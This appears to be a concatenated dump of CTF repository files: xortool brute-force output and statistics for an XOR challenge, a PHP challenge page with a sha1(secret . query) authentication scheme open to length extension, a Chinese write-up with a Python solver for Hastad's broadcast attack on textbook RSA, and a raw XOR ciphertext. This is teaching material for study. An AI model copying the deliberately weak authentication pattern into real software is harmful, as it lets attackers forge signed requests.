2 | xortool_out/000.out;\x1a 3 | xortool_out/001.out;\x1b 4 | xortool_out/002.out;\x18 5 | xortool_out/003.out;\x19 6 | xortool_out/004.out;\x1e 7 | xortool_out/005.out;\x1f 8 | xortool_out/006.out;\x1c 9 | xortool_out/007.out;\x1d 10 | xortool_out/008.out;\x12 11 | xortool_out/009.out;\x13 12 | xortool_out/010.out;\x10 13 | xortool_out/011.out;\x11 14 | xortool_out/012.out;\x16 15 | xortool_out/013.out;\x17 16 | xortool_out/014.out;\x14 17 | xortool_out/015.out;\x15 18 | xortool_out/016.out;\n 19 | xortool_out/017.out;\x0b 20 | xortool_out/018.out;\x08 21 | xortool_out/019.out;\t 22 | xortool_out/020.out;\x0e 23 | xortool_out/021.out;\x0f 24 | xortool_out/022.out;\x0c 25 | xortool_out/023.out;\r 26 | xortool_out/024.out;\x02 27 | xortool_out/025.out;\x03 28 | xortool_out/026.out;\x00 29 | xortool_out/027.out;\x01 30 | xortool_out/028.out;\x06 31 | xortool_out/029.out;\x07 32 | xortool_out/030.out;\x04 33 | xortool_out/031.out;\x05 34 | xortool_out/032.out;: 35 | xortool_out/033.out;; 36 | xortool_out/034.out;8 37 | xortool_out/035.out;9 38 | xortool_out/036.out;> 39 | xortool_out/037.out;? 40 | xortool_out/038.out;< 41 | xortool_out/039.out;= 42 | xortool_out/040.out;2 43 | xortool_out/041.out;3 44 | xortool_out/042.out;0 45 | xortool_out/043.out;1 46 | xortool_out/044.out;6 47 | xortool_out/045.out;7 48 | xortool_out/046.out;4 49 | xortool_out/047.out;5 50 | xortool_out/048.out;* 51 | xortool_out/049.out;+ 52 | xortool_out/050.out;( 53 | xortool_out/051.out;) 54 | xortool_out/052.out;. 55 | xortool_out/053.out;\x2f 56 | xortool_out/054.out;, 57 | xortool_out/055.out;- 58 | xortool_out/056.out;" 59 | xortool_out/057.out;# 60 | xortool_out/058.out; 61 | xortool_out/059.out;! 62 | xortool_out/060.out;& 63 | xortool_out/061.out;' 64 | xortool_out/062.out;$ 65 | xortool_out/063.out;% 66 | xortool_out/064.out;Z 67 | xortool_out/065.out;[ 68 | xortool_out/066.out;X 69 | xortool_out/067.out;Y 70 | xortool_out/068.out;^ 71 | xortool_out/069.out;_ 72 | xortool_out/070.out;\\ 73 | xortool_out/071.out;] 74 | xortool_out/072.out;R 75 | xortool_out/073.out;S 76 | xortool_out/074.out;P 77 | xortool_out/075.out;Q 78 | xortool_out/076.out;V 79 | xortool_out/077.out;W 80 | xortool_out/078.out;T 81 | xortool_out/079.out;U 82 | xortool_out/080.out;J 83 | xortool_out/081.out;K 84 | xortool_out/082.out;H 85 | xortool_out/083.out;I 86 | xortool_out/084.out;N 87 | xortool_out/085.out;O 88 | xortool_out/086.out;L 89 | xortool_out/087.out;M 90 | xortool_out/088.out;B 91 | xortool_out/089.out;C 92 | xortool_out/090.out;@ 93 | xortool_out/091.out;A 94 | xortool_out/092.out;F 95 | xortool_out/093.out;G 96 | xortool_out/094.out;D 97 | xortool_out/095.out;E 98 | xortool_out/096.out;z 99 | xortool_out/097.out;{ 100 | xortool_out/098.out;x 101 | xortool_out/099.out;y 102 | xortool_out/100.out;~ 103 | xortool_out/101.out;\x7f 104 | xortool_out/102.out;| 105 | xortool_out/103.out;} 106 | xortool_out/104.out;r 107 | xortool_out/105.out;s 108 | xortool_out/106.out;p 109 | xortool_out/107.out;q 110 | xortool_out/108.out;v 111 | xortool_out/109.out;w 112 | xortool_out/110.out;t 113 | xortool_out/111.out;u 114 | xortool_out/112.out;j 115 | xortool_out/113.out;k 116 | xortool_out/114.out;h 117 | xortool_out/115.out;i 118 | xortool_out/116.out;n 119 | xortool_out/117.out;o 120 | xortool_out/118.out;l 121 | xortool_out/119.out;m 122 | xortool_out/120.out;b 123 | xortool_out/121.out;c 124 | xortool_out/122.out;` 125 | xortool_out/123.out;a 126 | xortool_out/124.out;f 127 | xortool_out/125.out;g 128 | xortool_out/126.out;d 129 | xortool_out/127.out;e 130 | xortool_out/128.out;\x9a 131 | xortool_out/129.out;\x9b 132 | xortool_out/130.out;\x98 133 | xortool_out/131.out;\x99 134 | xortool_out/132.out;\x9e 135 | xortool_out/133.out;\x9f 136 | xortool_out/134.out;\x9c 137 | xortool_out/135.out;\x9d 138 | xortool_out/136.out;\x92 139 | xortool_out/137.out;\x93 140 | xortool_out/138.out;\x90 141 | xortool_out/139.out;\x91 142 | xortool_out/140.out;\x96 143 | xortool_out/141.out;\x97 144 | xortool_out/142.out;\x94 145 | xortool_out/143.out;\x95 146 | xortool_out/144.out;\x8a 147 | xortool_out/145.out;\x8b 148 | xortool_out/146.out;\x88 149 | xortool_out/147.out;\x89 150 | xortool_out/148.out;\x8e 151 | xortool_out/149.out;\x8f 152 | xortool_out/150.out;\x8c 153 | xortool_out/151.out;\x8d 154 | xortool_out/152.out;\x82 155 | xortool_out/153.out;\x83 156 | xortool_out/154.out;\x80 157 | xortool_out/155.out;\x81 158 | xortool_out/156.out;\x86 159 | xortool_out/157.out;\x87 160 | xortool_out/158.out;\x84 161 | xortool_out/159.out;\x85 162 | xortool_out/160.out;\xba 163 | xortool_out/161.out;\xbb 164 | xortool_out/162.out;\xb8 165 | xortool_out/163.out;\xb9 166 | xortool_out/164.out;\xbe 167 | xortool_out/165.out;\xbf 168 | xortool_out/166.out;\xbc 169 | xortool_out/167.out;\xbd 170 | xortool_out/168.out;\xb2 171 | xortool_out/169.out;\xb3 172 | xortool_out/170.out;\xb0 173 | xortool_out/171.out;\xb1 174 | xortool_out/172.out;\xb6 175 | xortool_out/173.out;\xb7 176 | xortool_out/174.out;\xb4 177 | xortool_out/175.out;\xb5 178 | xortool_out/176.out;\xaa 179 | xortool_out/177.out;\xab 180 | xortool_out/178.out;\xa8 181 | xortool_out/179.out;\xa9 182 | xortool_out/180.out;\xae 183 | xortool_out/181.out;\xaf 184 | xortool_out/182.out;\xac 185 | xortool_out/183.out;\xad 186 | xortool_out/184.out;\xa2 187 | xortool_out/185.out;\xa3 188 | xortool_out/186.out;\xa0 189 | xortool_out/187.out;\xa1 190 | xortool_out/188.out;\xa6 191 | xortool_out/189.out;\xa7 192 | xortool_out/190.out;\xa4 193 | xortool_out/191.out;\xa5 194 | xortool_out/192.out;\xda 195 | xortool_out/193.out;\xdb 196 | xortool_out/194.out;\xd8 197 | xortool_out/195.out;\xd9 198 | xortool_out/196.out;\xde 199 | xortool_out/197.out;\xdf 200 | xortool_out/198.out;\xdc 201 | xortool_out/199.out;\xdd 202 | xortool_out/200.out;\xd2 203 | xortool_out/201.out;\xd3 204 | xortool_out/202.out;\xd0 205 | xortool_out/203.out;\xd1 206 | xortool_out/204.out;\xd6 207 | xortool_out/205.out;\xd7 208 | xortool_out/206.out;\xd4 209 | xortool_out/207.out;\xd5 210 | xortool_out/208.out;\xca 211 | xortool_out/209.out;\xcb 212 | xortool_out/210.out;\xc8 213 | xortool_out/211.out;\xc9 214 | xortool_out/212.out;\xce 215 | xortool_out/213.out;\xcf 216 | xortool_out/214.out;\xcc 217 | xortool_out/215.out;\xcd 218 | xortool_out/216.out;\xc2 219 | xortool_out/217.out;\xc3 220 | xortool_out/218.out;\xc0 221 | xortool_out/219.out;\xc1 222 | xortool_out/220.out;\xc6 223 | xortool_out/221.out;\xc7 224 | xortool_out/222.out;\xc4 225 | xortool_out/223.out;\xc5 226 | xortool_out/224.out;\xfa 227 | xortool_out/225.out;\xfb 228 | xortool_out/226.out;\xf8 229 | xortool_out/227.out;\xf9 230 | xortool_out/228.out;\xfe 231 | xortool_out/229.out;\xff 232 | xortool_out/230.out;\xfc 233 | xortool_out/231.out;\xfd 234 | xortool_out/232.out;\xf2 235 | xortool_out/233.out;\xf3 236 | xortool_out/234.out;\xf0 237 | xortool_out/235.out;\xf1 238 | xortool_out/236.out;\xf6 239 | xortool_out/237.out;\xf7 240 | xortool_out/238.out;\xf4 241 | xortool_out/239.out;\xf5 242 | xortool_out/240.out;\xea 243 | xortool_out/241.out;\xeb 244 | xortool_out/242.out;\xe8 245 | xortool_out/243.out;\xe9 246 | xortool_out/244.out;\xee 247 | xortool_out/245.out;\xef 248 | xortool_out/246.out;\xec 249 | xortool_out/247.out;\xed 250 | xortool_out/248.out;\xe2 251 | xortool_out/249.out;\xe3 252 | xortool_out/250.out;\xe0 253 | xortool_out/251.out;\xe1 254 | xortool_out/252.out;\xe6 255 | xortool_out/253.out;\xe7 256 | xortool_out/254.out;\xe4 257 | xortool_out/255.out;\xe5 258 | -------------------------------------------------------------------------------- /2016-ais3-pre-exam/crypto2.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 11 | 12 |
Unauthenticated. Expired? (1467351307). 13 |
14 |
15 | 16 | <?php
    $path 
"..";
    
$file "flag.txt";
    
$authenticated false;
    
$secret trim(file_get_contents("$path/$file"));
    
assert(strlen($secret) <= 60);

    if(isset(
$_GET['expire']) && isset($_GET['auth'])) {
        
$expire $_GET['expire'];
        
$auth $_GET['auth'];
        
$qstr substr(strstr($_SERVER['REQUEST_URI'], '?'), 1);
        
$qstr preg_replace('/&auth=.*/'''$qstr);
        
$qstr urldecode($qstr);
        if(
sha1($secret "$qstr") === $auth) {
            if(
$expire time(0)) {
                
$authenticated true;
            }
        }
    } else {
        
$expire time(0) - 1000000;
        
$auth sha1($secret "expire=$expire");
        
$uri preg_replace('/\?.*/'''$_SERVER['REQUEST_URI']);
        
header("HTTP/1.1 302 Found");
        
header("Location: $uri?expire=$expire&auth=$auth");
        die;
    }
?>
17 |
18 |
19 | 20 |
-------------------------------------------------------------------------------- /2016-tw-edu-ctf/mayday/README.md: -------------------------------------------------------------------------------- 1 | # mayday (crypto 150) 2 | 3 | 這是先前跟著隊友作為亂入隊伍,去打 TW-edu CTF 2015 (台大、台科大、中央三校資安實務期末考)的小小紀錄XD 4 | 5 | ~~表示還欠了很多題目的還沒寫~~ 6 | 7 | 雖然最後結束出來的成績不是很好,不過這次去亂入這個 CTF 感覺真的累積不少經驗值呢!
8 | 因為是配合課程進行的關係,所以大多數題目都是應用一些經典的漏洞或是攻擊技巧,或是簡單的搭配,
9 | 對我們這群弱弱來說,打起來也比較有成就感,大家比較有動力挑戰看看
10 | 畢竟一般其他 CTF 的題目真的很難很難,需要很多背景知識才能玩下去XDDDD
11 | 12 | 先來說明一下,按照大部分在講 RSA 的文章的慣例,一般說 指的是明文 (cleartext)、 指的是密文(ciphertext)、 指的是模數( 兩個大質數的積,可以說成是公鑰的一部分,有時會用 替代),而 則分別是公用指數(通常是 3, 7, 17, 65537)跟私密指數,兩者對同餘 時呈模反元素關係。 13 | 14 | Description: 15 | ``` 16 | Here are some encrypted messages sent to Mayday. 17 | https://www.dropbox.com/s/lwjkboz8ee8wz6l/mayday.zip?dl=0 18 | ``` 19 | 20 | 題目給的 zip 解開後有 `mayday.py` 跟 `mayday.json` 兩個檔案,跟一般 crypto 題目一樣的,一個是進行加密的 code,另一個則是相關的數字/資料。 21 | 22 | `mayday.json`: 23 | ```javascript 24 | [{"c": 6867940996691870031530411714485906844552818193325528906319305401428815108346680759433216763381096732182463314446219239703961679396462026276373332783945618, "e": 7, "n": 24810910852704603048663349011054669655631146433543459534796438815331335687309113943583212235150241971378068933151593149818684880078674098193758773603399061}, 25 | {"c": 1117905220184329685115491669660129193823567641747584717324745389247133369892051586020708442213591696394252275224109800066498394464330197218398972106358012, "e": 7, "n": 47127839105299361033791208737798899776781255381503030381686909082155757361019104103280620540716894699133142173100175132195577832323495741588275138089635573}, 26 | {"c": 40118076943735337559537379692982070943921515348000211097599356263330760075906748374129727526740438883695094503103029124366037118931371140019302082751801200, "e": 7, "n": 43134291711046821358455351358884087777021003839470296505990450581706219379356272391794220129036895199873385802547302584174011929423801149992868607229780347}, 27 | {"c": 12649076592222649371192164869044025408231371717627780046219346377852024544337050152652676577122342534868958091714335614555475487488062150879916823763757293, "e": 7, "n": 19300838921149221007298944887478599082800229045219271606272038103970656559943914197281654158587468730541828306489197866130025079021184391333521894567512679}, 28 | {"c": 28899089935435267588235897519846120393433214114341521238696384122507316899457327055029546972333281452563984838498862225380416594907544057513529315866966881, "e": 7, "n": 30754121488827635692971849599267749375077949182550303145729325375314926401905783830931628738658879320179944880074582359287457299694791345311565979620527051}, 29 | {"c": 14086629413855672403639830676118042465846020320143823318815048070368505684208141652603596234960968703217788472960409410744177258293358579948872603962777501, "e": 7, "n": 30430477983470426195631142659668071772256641205525929891985872996115858010744648779370983539942187689192406517498678966428105726004485493523914299389645977}, 30 | {"c": 20049299207588955907155276095787913402589652379134151403340360498371893119855957833576443856534037886298731701974026748277461327934437483689818240109850533, "e": 7, "n": 35489275126536805974281635942907480463916089663069129771420548612817920902692423639961709000309976531819984030335085090156962285880892504720123765878938153}] 31 | ``` 32 | 33 | `mayday.json` 給了我們七組 RSA 的數字,各自的 不同,不過它們的 e 都是 7
34 | 而由於 的數字非常大,我們知道也不可能因數分解來暴力破解它。 35 | 36 | `mayday.py`: 37 | ```python 38 | import json 39 | from sympy import randprime 40 | 41 | e = 7 42 | m = int(open('flag').read().strip().encode('hex'), 16) 43 | 44 | for i in range(7): 45 | p = randprime(2 ** 256, 2 ** 257) 46 | q = randprime(2 ** 256, 2 ** 257) 47 | n = p * q 48 | assert m < n 49 | c = pow(m, e, n) 50 | print json.dumps({'n': n, 'e': e, 'c': c}) 51 | ``` 52 | 53 | 有趣的是,根據 `mayday.py`,所有的明文 都是一樣的,而被用了不同的公鑰(這邊指 )加密,而正剛好有 7 個明文(大於 ,這樣就構成了 [Hastad's Broadcast Attack](https://en.wikipedia.org/wiki/Coppersmith%27s_Attack#H.C3.A5stad.27s_Broadcast_Attack)(RSA 廣播攻擊)的要件。 54 | 55 | Hastad's Broadcast Attack 基本上就是[中國餘數定理 (Chinese Remainder Theorem)](https://market.cloud.edu.tw/content/senior/math/tn_t2/math05/math_magic/1/1-6.htm)(也就是數學老師說的韓信點兵、鬼谷算命題)在 RSA 密碼學上的實作,
56 | 57 | 根據中國餘數定理(這裡以 做舉例),只要,就可以求出 ,而因為 小於每一個 會小於
58 | 所以就可以不用管後面的模算法,直接就可以求出 ![t^3 = c'](http://latex2png.com/output//latex_0974e7ce8816396d23057025516341f5.png" height=12 />。 59 | 60 | 這邊提供了七組的 ,化成同餘式則是七組 ),透過上面的方式就可以推出原先的
61 | 再來就只要 的值沒有太高(這裡是7),可以快速求出其次方根,就可以解出 。 62 | 63 | 所以我們來解這個同餘方程組吧!不重造輪子,我找了 [Rosetta Code 上的 CRT solver](http://rosettacode.org/wiki/Chinese_remainder_theorem#Python) (針對解中國餘式定理的同餘方程組的工具: 64 | 65 | ```python 66 | import gmpy # gmpy 是一個在 python 提供類似 GMP 的高等算術的 module,這裡用它算模反元素跟次方根 67 | import json, binascii # json 是 python 下的 json parsing 工具,binascii 則是用來做 binary 跟 ascii 之間轉換的工具 68 | from functools import reduce 69 | 70 | def chinese_remainder(n, a): # Rosetta Code 上的 CRT Solver code,就只是把中國餘數定理 code 化而已 71 | sum = 0 72 | prod = reduce(lambda a, b: a*b, n) 73 | for n_i, a_i in zip(n, a): 74 | p = prod // n_i 75 | sum += a_i * modinv(p, n_i) * p 76 | return int(sum % prod) 77 | def modinv(a, m): return int(gmpy.invert(gmpy.mpz(a), gmpy.mpz(m))) # 用 gmpy 算模反元素,回傳轉成 int 的結果 78 | 79 | 80 | with open("mayday.json") as dfile: 81 | data = json.loads(dfile.read()) # 打開檔案,讀成 json 82 | data = {k:[d.get(k) for d in data] for k in {k for d in data for k in d}} # 從 [{c1, e1, n1}, {c2, e2, n2}] 轉成 {"c": [c1, c2], "e": [e1, e2], "n": [n1, n2]} 83 | t_to_e = chinese_remainder(data['n'], data['c']) # 用中國餘式定理解同餘方程組,推出原先的 t^e 84 | t = int(gmpy.mpz(t_to_e).root(7)[0]) # 算 t^e 的 7 次方根(因為 e=7),推回原本的 t 85 | print(binascii.unhexlify(hex(t)[2:])) # 把結果從數字先轉成 hex 再轉成字串 86 | ... 87 | ``` 88 | 89 | Flag: `CTF{Hastad's Broadcast Attack & Chinese Remainder Theorem}` 90 | 91 | 應該是因為配合資安課程的關係,這是一題非常經典,利用 textbook RSA (純理論 RSA)的漏洞進行的題目。
92 | 實際上在進行 RSA 加密應用的時候,主要是因為 padding 的技巧讓每一次的 都不一樣,這樣的攻擊型態就會失效,所以這種的攻擊在實務上是很難達到什麼影響的。
93 | 不過有一點值得提到的是,在這種 textbook RSA 中,可以看到這樣的數學理論實際用在密碼學上也是挺有趣的XDD 94 | -------------------------------------------------------------------------------- /2015-easyctf/XOR/xortool_out/filename-char_used-perc_printable.csv: -------------------------------------------------------------------------------- 1 | file_name;char_used;perc_printable 2 | xortool_out/000.out;0;84.0 3 | xortool_out/001.out;1;84.0 4 | xortool_out/002.out;2;84.0 5 | xortool_out/003.out;3;84.0 6 | xortool_out/004.out;4;84.0 7 | xortool_out/005.out;5;84.0 8 | xortool_out/006.out;6;84.0 9 | xortool_out/007.out;7;84.0 10 | xortool_out/008.out;8;84.0 11 | xortool_out/009.out;9;100.0 12 | xortool_out/010.out;10;100.0 13 | xortool_out/011.out;11;100.0 14 | xortool_out/012.out;12;100.0 15 | xortool_out/013.out;13;100.0 16 | xortool_out/014.out;14;84.0 17 | xortool_out/015.out;15;84.0 18 | xortool_out/016.out;16;84.0 19 | xortool_out/017.out;17;84.0 20 | xortool_out/018.out;18;84.0 21 | xortool_out/019.out;19;84.0 22 | xortool_out/020.out;20;84.0 23 | xortool_out/021.out;21;84.0 24 | xortool_out/022.out;22;84.0 25 | xortool_out/023.out;23;84.0 26 | xortool_out/024.out;24;84.0 27 | xortool_out/025.out;25;84.0 28 | xortool_out/026.out;26;84.0 29 | xortool_out/027.out;27;84.0 30 | xortool_out/028.out;28;84.0 31 | xortool_out/029.out;29;84.0 32 | xortool_out/030.out;30;84.0 33 | xortool_out/031.out;31;84.0 34 | xortool_out/032.out;32;29.0 35 | xortool_out/033.out;33;32.0 36 | xortool_out/034.out;34;21.0 37 | xortool_out/035.out;35;21.0 38 | xortool_out/036.out;36;24.0 39 | xortool_out/037.out;37;21.0 40 | xortool_out/038.out;38;29.0 41 | xortool_out/039.out;39;29.0 42 | xortool_out/040.out;40;21.0 43 | xortool_out/041.out;41;21.0 44 | xortool_out/042.out;42;26.0 45 | xortool_out/043.out;43;29.0 46 | xortool_out/044.out;44;26.0 47 | xortool_out/045.out;45;29.0 48 | xortool_out/046.out;46;24.0 49 | xortool_out/047.out;47;29.0 50 | xortool_out/048.out;48;37.0 51 | xortool_out/049.out;49;37.0 52 | xortool_out/050.out;50;37.0 53 | xortool_out/051.out;51;37.0 54 | xortool_out/052.out;52;29.0 55 | xortool_out/053.out;53;32.0 56 | xortool_out/054.out;54;34.0 57 | xortool_out/055.out;55;42.0 58 | xortool_out/056.out;56;21.0 59 | xortool_out/057.out;57;29.0 60 | xortool_out/058.out;58;34.0 61 | xortool_out/059.out;59;32.0 62 | xortool_out/060.out;60;32.0 63 | xortool_out/061.out;61;34.0 64 | xortool_out/062.out;62;24.0 65 | xortool_out/063.out;63;26.0 66 | xortool_out/064.out;64;100.0 67 | xortool_out/065.out;65;92.0 68 | xortool_out/066.out;66;100.0 69 | xortool_out/067.out;67;97.0 70 | xortool_out/068.out;68;92.0 71 | xortool_out/069.out;69;92.0 72 | xortool_out/070.out;70;97.0 73 | xortool_out/071.out;71;97.0 74 | xortool_out/072.out;72;97.0 75 | xortool_out/073.out;73;95.0 76 | xortool_out/074.out;74;100.0 77 | xortool_out/075.out;75;97.0 78 | xortool_out/076.out;76;97.0 79 | xortool_out/077.out;77;100.0 80 | xortool_out/078.out;78;100.0 81 | xortool_out/079.out;79;92.0 82 | xortool_out/080.out;80;100.0 83 | xortool_out/081.out;81;100.0 84 | xortool_out/082.out;82;95.0 85 | xortool_out/083.out;83;97.0 86 | xortool_out/084.out;84;97.0 87 | xortool_out/085.out;85;97.0 88 | xortool_out/086.out;86;100.0 89 | xortool_out/087.out;87;97.0 90 | xortool_out/088.out;88;97.0 91 | xortool_out/089.out;89;92.0 92 | xortool_out/090.out;90;100.0 93 | xortool_out/091.out;91;97.0 94 | xortool_out/092.out;92;100.0 95 | xortool_out/093.out;93;97.0 96 | xortool_out/094.out;94;100.0 97 | xortool_out/095.out;95;100.0 98 | xortool_out/096.out;96;100.0 99 | xortool_out/097.out;97;100.0 100 | xortool_out/098.out;98;100.0 101 | xortool_out/099.out;99;100.0 102 | xortool_out/100.out;100;100.0 103 | xortool_out/101.out;101;100.0 104 | xortool_out/102.out;102;100.0 105 | xortool_out/103.out;103;100.0 106 | xortool_out/104.out;104;100.0 107 | xortool_out/105.out;105;100.0 108 | xortool_out/106.out;106;100.0 109 | xortool_out/107.out;107;100.0 110 | xortool_out/108.out;108;100.0 111 | xortool_out/109.out;109;100.0 112 | xortool_out/110.out;110;100.0 113 | xortool_out/111.out;111;100.0 114 | xortool_out/112.out;112;100.0 115 | xortool_out/113.out;113;100.0 116 | xortool_out/114.out;114;100.0 117 | xortool_out/115.out;115;100.0 118 | xortool_out/116.out;116;100.0 119 | xortool_out/117.out;117;100.0 120 | xortool_out/118.out;118;100.0 121 | xortool_out/119.out;119;100.0 122 | xortool_out/120.out;120;100.0 123 | xortool_out/121.out;121;100.0 124 | xortool_out/122.out;122;100.0 125 | xortool_out/123.out;123;100.0 126 | xortool_out/124.out;124;100.0 127 | xortool_out/125.out;125;100.0 128 | xortool_out/126.out;126;100.0 129 | xortool_out/127.out;127;84.0 130 | xortool_out/128.out;128;0.0 131 | xortool_out/129.out;129;0.0 132 | xortool_out/130.out;130;0.0 133 | xortool_out/131.out;131;0.0 134 | xortool_out/132.out;132;0.0 135 | xortool_out/133.out;133;0.0 136 | xortool_out/134.out;134;0.0 137 | xortool_out/135.out;135;0.0 138 | xortool_out/136.out;136;0.0 139 | xortool_out/137.out;137;0.0 140 | xortool_out/138.out;138;0.0 141 | xortool_out/139.out;139;0.0 142 | xortool_out/140.out;140;0.0 143 | xortool_out/141.out;141;0.0 144 | xortool_out/142.out;142;0.0 145 | xortool_out/143.out;143;0.0 146 | xortool_out/144.out;144;0.0 147 | xortool_out/145.out;145;0.0 148 | xortool_out/146.out;146;0.0 149 | xortool_out/147.out;147;0.0 150 | xortool_out/148.out;148;0.0 151 | xortool_out/149.out;149;0.0 152 | xortool_out/150.out;150;0.0 153 | xortool_out/151.out;151;0.0 154 | xortool_out/152.out;152;0.0 155 | xortool_out/153.out;153;0.0 156 | xortool_out/154.out;154;0.0 157 | xortool_out/155.out;155;0.0 158 | xortool_out/156.out;156;0.0 159 | xortool_out/157.out;157;0.0 160 | xortool_out/158.out;158;0.0 161 | xortool_out/159.out;159;0.0 162 | xortool_out/160.out;160;0.0 163 | xortool_out/161.out;161;0.0 164 | xortool_out/162.out;162;0.0 165 | xortool_out/163.out;163;0.0 166 | xortool_out/164.out;164;0.0 167 | xortool_out/165.out;165;0.0 168 | xortool_out/166.out;166;0.0 169 | xortool_out/167.out;167;0.0 170 | xortool_out/168.out;168;0.0 171 | xortool_out/169.out;169;0.0 172 | xortool_out/170.out;170;0.0 173 | xortool_out/171.out;171;0.0 174 | xortool_out/172.out;172;0.0 175 | xortool_out/173.out;173;0.0 176 | xortool_out/174.out;174;0.0 177 | xortool_out/175.out;175;0.0 178 | xortool_out/176.out;176;0.0 179 | xortool_out/177.out;177;0.0 180 | xortool_out/178.out;178;0.0 181 | xortool_out/179.out;179;0.0 182 | xortool_out/180.out;180;0.0 183 | xortool_out/181.out;181;0.0 184 | xortool_out/182.out;182;0.0 185 | xortool_out/183.out;183;0.0 186 | xortool_out/184.out;184;0.0 187 | xortool_out/185.out;185;0.0 188 | xortool_out/186.out;186;0.0 189 | xortool_out/187.out;187;0.0 190 | xortool_out/188.out;188;0.0 191 | xortool_out/189.out;189;0.0 192 | xortool_out/190.out;190;0.0 193 | xortool_out/191.out;191;0.0 194 | xortool_out/192.out;192;0.0 195 | xortool_out/193.out;193;0.0 196 | xortool_out/194.out;194;0.0 197 | xortool_out/195.out;195;0.0 198 | xortool_out/196.out;196;0.0 199 | xortool_out/197.out;197;0.0 200 | xortool_out/198.out;198;0.0 201 | xortool_out/199.out;199;0.0 202 | xortool_out/200.out;200;0.0 203 | xortool_out/201.out;201;0.0 204 | xortool_out/202.out;202;0.0 205 | xortool_out/203.out;203;0.0 206 | xortool_out/204.out;204;0.0 207 | xortool_out/205.out;205;0.0 208 | xortool_out/206.out;206;0.0 209 | xortool_out/207.out;207;0.0 210 | xortool_out/208.out;208;0.0 211 | xortool_out/209.out;209;0.0 212 | xortool_out/210.out;210;0.0 213 | xortool_out/211.out;211;0.0 214 | xortool_out/212.out;212;0.0 215 | xortool_out/213.out;213;0.0 216 | xortool_out/214.out;214;0.0 217 | xortool_out/215.out;215;0.0 218 | xortool_out/216.out;216;0.0 219 | xortool_out/217.out;217;0.0 220 | xortool_out/218.out;218;0.0 221 | xortool_out/219.out;219;0.0 222 | xortool_out/220.out;220;0.0 223 | xortool_out/221.out;221;0.0 224 | xortool_out/222.out;222;0.0 225 | xortool_out/223.out;223;0.0 226 | xortool_out/224.out;224;0.0 227 | xortool_out/225.out;225;0.0 228 | xortool_out/226.out;226;0.0 229 | xortool_out/227.out;227;0.0 230 | xortool_out/228.out;228;0.0 231 | xortool_out/229.out;229;0.0 232 | xortool_out/230.out;230;0.0 233 | xortool_out/231.out;231;0.0 234 | xortool_out/232.out;232;0.0 235 | xortool_out/233.out;233;0.0 236 | xortool_out/234.out;234;0.0 237 | xortool_out/235.out;235;0.0 238 | xortool_out/236.out;236;0.0 239 | xortool_out/237.out;237;0.0 240 | xortool_out/238.out;238;0.0 241 | xortool_out/239.out;239;0.0 242 | xortool_out/240.out;240;0.0 243 | xortool_out/241.out;241;0.0 244 | xortool_out/242.out;242;0.0 245 | xortool_out/243.out;243;0.0 246 | xortool_out/244.out;244;0.0 247 | xortool_out/245.out;245;0.0 248 | xortool_out/246.out;246;0.0 249 | xortool_out/247.out;247;0.0 250 | xortool_out/248.out;248;0.0 251 | xortool_out/249.out;249;0.0 252 | xortool_out/250.out;250;0.0 253 | xortool_out/251.out;251;0.0 254 | xortool_out/252.out;252;0.0 255 | xortool_out/253.out;253;0.0 256 | xortool_out/254.out;254;0.0 257 | xortool_out/255.out;255;0.0 258 | -------------------------------------------------------------------------------- /2016-ais3-pre-exam/crypto1: -------------------------------------------------------------------------------- 1 | k=V[6$: N 7$ :3X&: 2 | QAV[+ 3 | 10 4 | c?p*n9XC:NT*73UBE] WT 6=QR+CAV tO-KN7>cn6B>NR0 5 | 64X >DA^/3+E&55);3Z9NX,A-"C@ 1 VvO1E ,-";n]\%R+ x4] +M],[ 6 | <1oR8p"/1B7>44C < AVtO;,E141#7RZ1 U1;gGY7I -&>&R1% . ;B9BT7-gVY:I AtO%7 7 | N45%'+;W&NX-A4.^T 9 | :EIV-+dE+/#1 ;&sP1U7&BUAV r4 -R.9I. ;Z< Q61&\\P[7&3 10 | (Iy6n6B,E6*4: ]-;<c52;n3PV4^1gDQ+ _E"A6 11 | ~.-9 : 12 | 0R.8*nHQ6,A9+YB> 13 | AW[414N.-%;7q;? UT1-5QD ) D 14 | SD,r10R0>T'+sP1U>*Y\ ],]9153oR8p ."+YLsNS>64]Q6 15 | DAP9 >:E,77T .-7TY0T6*_F 1D  I=V0 16 | 9 /y$n6_+UT16 XR * 17 | OI>AUx-;1& y9ICV&N]4,gQ:EA:7 3<# SL@:-.^WD/ ]76: &=9o/+T Q3A+/QDD+A]xG::E 19 | &<#o*>_V6WT>;gYCD1EI\ x;8 c6> ==>E\0Z,-ir 1]T=r0c88>I)!-E>D<3&B+ _6 r6N06>T *-0\P,NQ/-"^DD+A 20 | 971<4T!n>EA> X:+gD_D: AAUx8:6 c88>I+!:B1DT> +"B :DG[>  .^y# o-0_S:C,A7"B- AZ=! 21 | / y$I'%K\:@6&A<(^D>IA9J[+;8 0R<.,:E]sNG0A01UB :A SY3 22 | ! ,-po*:BE6UT9:+Y^DT[* 23 | !: .7$ZcE/^[Q 68gQ6 A I>AUx-;1& ~#T&=+TGsNs-3.^UH# ]SP-:+E-R8p .8&Q0^0-kS+ 24 | A 25 | _tO31N*y6,+;A0NC>&D*:  W[>  5+1I+/&B+\%="DXD> I\[6 ,N++p<::C>TT63XB (D  IA)71N 4 6n(XA7N}qA&BSsI ] Z+O&0E y<Eo>-^A:D13XQE  =6,E,<<GE-\6,kQD< 6 r71R-?T% 8SZ*^X7"r1AGtO">cy&&:EZX#:)^U,GD(SA+]=r> 26 | c759-++Y>UT2Y1A0!X ,IAWx::E,55T%.*&v>X-1"T+  ESRx73 N"y2 I'',F:VY6 /(BD1DAW6;0 :gD_D 27 | 7O17 28 | 0y1T&(:S-]T> 0)W7 D' 1&:cZ19I,!*B\1X1#z1 D ]G9>&E*>< o!*E E:$QE:I A7x ';-y". 5T!3]:>7-E&,#(n7XFT><"CD2 A I[x =1&71 ^SU 03XUsI!  Gx<, "y6"=P[S*6)DQ 29 | < D I>AUx8;<"upI"'3XA696$UBD( E Vx3) $R;5o8:CLU6*4\ID2W[:r@c68"o*:BE6UT7).^WD=  AAW7r> 30 | c8&='+T00><>CD9 OI'[x1<"0?I. ;]:+-&SD 0D],],1 97c6$I& UT 6=QR+CAZ=O=9E#1\y,7q;?>+\6 AI>AUx-;1& y1I++YP-Y3sg}BJ-A P5 31 | !"<o/1U^6+\ >M]0 32 | r--p"'3HY7A+/U' 33 | S\x%31N"=p1&4>SP+T24"QD/ A @ 4+ 34 | c6?I"/1_P-1#US - KA) SU4=( $R4?& 8T3+Y^ 35 |  9 6 &R-?T,#'%PW:XX7(B9] 